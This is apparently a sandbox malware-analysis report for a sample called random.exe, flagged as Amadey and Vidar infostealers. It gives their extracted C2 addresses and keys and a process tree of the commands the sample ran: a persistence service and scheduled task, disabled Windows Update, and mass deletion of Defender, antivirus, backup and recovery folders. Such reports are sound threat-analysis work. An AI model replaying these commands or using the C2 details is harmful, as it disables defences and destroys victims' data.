Overview

overview

10

Static

static

10

2to1ep.exe

windows10-2004-x64

10

2to1ep.exe

windows11-ltsc_2024-x64

10

4363463463...63.exe

windows10-2004-x64

3

4363463463...63.exe

windows11-ltsc_2024-x64

10

Synaptics.exe

windows10-2004-x64

10

Synaptics.exe

windows11-ltsc_2024-x64

10

cobaltstri...de.exe

windows10-2004-x64

10

cobaltstri...de.exe

windows11-ltsc_2024-x64

10

ed01ebfbc9...aa.exe

windows10-2004-x64

10

ed01ebfbc9...aa.exe

windows11-ltsc_2024-x64

10

random.exe

windows10-2004-x64

10

random.exe

windows11-ltsc_2024-x64

10

Resubmissions

29/07/2026, 09:27

260729-le461adl4y10

25/07/2026, 16:39

260725-t563aaag8710

08/11/2025, 17:35

251108-v5363acv5d10

02/11/2025, 23:51

251102-3wgwgadl7x10

01/11/2025, 12:53

251101-p4t9wasnhm10

01/11/2025, 12:49

251101-p2d5wasnhj10

01/11/2025, 04:57

251101-fk849a1ncn10

31/10/2025, 18:11

251031-wspnksak2v10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/07/2026, 16:39

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    random.exe
  • Size 6.8MB
  • Sample260725-t563aaag87
  • SHA256 be68f32481e1551531f9c2ae9322870aa30e48224fb0ad1f4468b04ec07374c0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
fbf543fc155c5bf8a148a93a2ba17de68393f0nrif0lmdefense_evasiondiscoveryexecutionamadeyvidarpersistencestealertrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 5.55

Botnet

  • fbf543

C2

  • http://94.154.35.25

Attributes
  • install_dir

    96a319e745

  • install_file

    Srxelqcif.exe

  • strings_key

    f8bfac017914b836f3106c5bcd0878fe

  • url_paths

    /di9ku38f/index.php

rc4.plain

Extracted

Family

  • vidar

Version

  • 15.6

Botnet

  • fc155c5bf8a148a93a2ba17de68393f0n

Campaign

  • rif0lm

C2

  • https://telegram.me/rif0lm

  • https://steamcommunity.com/profiles/76561198783900411

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0

Signatures

  • Family: Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Family: Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects Vidar Stealer 45 IoCs
    stealer
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    defense_evasion
  • NirSoft NirCmd 1 IoCs

    NirCmd is a lightweight Windows command-line tool for automating system tasks

  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 15 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 64 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 8 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Drops file in System32 directory 6 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 58 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 38 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 27 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 10 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 50 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\random.exe
    "C:\Users\Admin\AppData\Local\Temp\random.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4928
    • C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe
      "C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"
      2⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4952
    • C:\Users\Admin\AppData\Local\Temp\svchostam.exe
      "C:\Users\Admin\AppData\Local\Temp\svchostam.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5720
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" create BoVyHPh binPath= "C:\Users\Admin\AppData\Local\Temp\random.exe" start= auto DisplayName= "Time Synchronization"
      2⤵
      • Launches sc.exe
      PID:4944
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" start BoVyHPh
      2⤵
      • Launches sc.exe
      PID:3796
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3856
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5760
    • C:\Windows\systemhelper.exe
      "C:\Windows\systemhelper.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5228
        • C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
          nircmd win min process "cmd.exe"
          4⤵
          • Executes dropped EXE
          PID:5160
        • C:\Windows\SysWOW64\chcp.com
          chcp 65001
          4⤵
          • System Location Discovery: System Language Discovery
          PID:448
        • C:\Windows\SysWOW64\reg.exe
          reg query "HKU\S-1-5-19"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:664
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
          4⤵
          • Modifies data under HKEY_USERS
          PID:1948
        • C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
          NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5052
        • C:\Windows\SysWOW64\mode.com
          Mode 79,49
          4⤵
            PID:2744
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ver
            4⤵
            • Executes a command shell one-liner
            PID:1780
          • C:\Windows\SysWOW64\reg.exe
            reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
            4⤵
              PID:4256
            • C:\Windows\SysWOW64\find.exe
              find /i "0x0"
              4⤵
                PID:1632
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c tasklist
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4980
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  5⤵
                  • Enumerates processes with tasklist
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5336
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1756
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3752
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                4⤵
                  PID:1132
                • C:\Windows\SysWOW64\reg.exe
                  reg query "HKLM\System\CurrentControlSet\Services\Sense"
                  4⤵
                    PID:6016
                  • C:\Windows\SysWOW64\reg.exe
                    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                    4⤵
                      PID:2728
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                      4⤵
                        PID:4600
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                        4⤵
                          PID:4164
                        • C:\Windows\SysWOW64\reg.exe
                          reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                          4⤵
                            PID:216
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:5604
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                            4⤵
                              PID:1880
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4488
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                              4⤵
                                PID:1036
                              • C:\Windows\SysWOW64\reg.exe
                                reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:4800
                              • C:\Windows\SysWOW64\reg.exe
                                reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                4⤵
                                  PID:4012
                                • C:\Windows\SysWOW64\reg.exe
                                  reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                  4⤵
                                    PID:3452
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                    4⤵
                                      PID:4616
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" ver "
                                      4⤵
                                        PID:5816
                                      • C:\Windows\SysWOW64\findstr.exe
                                        findstr /c:"6.1.7601"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4512
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:5040
                                      • C:\Windows\SysWOW64\find.exe
                                        find /i "Windows 7"
                                        4⤵
                                          PID:1548
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg query HKLM\System\CurrentControlset\Services\WdFilter
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          • Modifies registry key
                                          PID:4364
                                        • C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
                                          7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4544
                                        • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                          game.exe /CurrentDiskSize
                                          4⤵
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          PID:3784
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                            5⤵
                                            • Executes a command shell one-liner
                                            PID:3924
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              6⤵
                                                PID:4168
                                              • C:\Windows\system32\sc.exe
                                                sc query IObitUnlocker
                                                6⤵
                                                • Launches sc.exe
                                                PID:2032
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3784"
                                              5⤵
                                              • Executes a command shell one-liner
                                              PID:628
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /f /pid "3784"
                                                6⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3792
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc stop wuauserv
                                            4⤵
                                            • Launches sc.exe
                                            PID:2856
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc config wuauserv start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:4532
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc stop dosvc
                                            4⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:1180
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc config dosvc start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:1248
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc stop bits
                                            4⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:5052
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc config bits start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:5232
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc stop UsoSvc
                                            4⤵
                                            • Launches sc.exe
                                            PID:5960
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc config UsoSvc start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:1992
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc stop WaaSMedicSvc
                                            4⤵
                                            • Launches sc.exe
                                            PID:1748
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc config WaaSMedicSvc start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            • System Location Discovery: System Language Discovery
                                            PID:5864
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                            4⤵
                                              PID:6100
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                              4⤵
                                                PID:4896
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                                4⤵
                                                  PID:5700
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                                  4⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4708
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                                  4⤵
                                                    PID:4848
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                                    4⤵
                                                      PID:4792
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                      4⤵
                                                        PID:5080
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg unload HKLM\TEMP_SYSTEM
                                                        4⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2012
                                                      • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                        game /delwd
                                                        4⤵
                                                        • Sets service image path in registry
                                                        • Checks computer location settings
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:5416
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                          5⤵
                                                          • Executes a command shell one-liner
                                                          PID:4236
                                                          • C:\Windows\system32\sc.exe
                                                            sc query IObitUnlocker
                                                            6⤵
                                                            • Launches sc.exe
                                                            PID:4812
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                          5⤵
                                                          • Executes a command shell one-liner
                                                          PID:4172
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            6⤵
                                                              PID:6136
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop IObitUnlocker
                                                              6⤵
                                                              • Launches sc.exe
                                                              PID:1876
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete IObitUnlocker
                                                              6⤵
                                                              • Launches sc.exe
                                                              PID:2588
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5416"
                                                            5⤵
                                                            • Executes a command shell one-liner
                                                            PID:1164
                                                            • C:\Windows\system32\taskkill.exe
                                                              taskkill /f /pid "5416"
                                                              6⤵
                                                              • Kills process with taskkill
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2956
                                                        • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                          game /DelWD
                                                          4⤵
                                                          • Sets service image path in registry
                                                          • Checks computer location settings
                                                          • Executes dropped EXE
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1132
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                            5⤵
                                                            • Executes a command shell one-liner
                                                            PID:1712
                                                            • C:\Windows\System32\Conhost.exe
                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              6⤵
                                                                PID:1012
                                                              • C:\Windows\system32\sc.exe
                                                                sc query IObitUnlocker
                                                                6⤵
                                                                • Launches sc.exe
                                                                PID:4588
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWO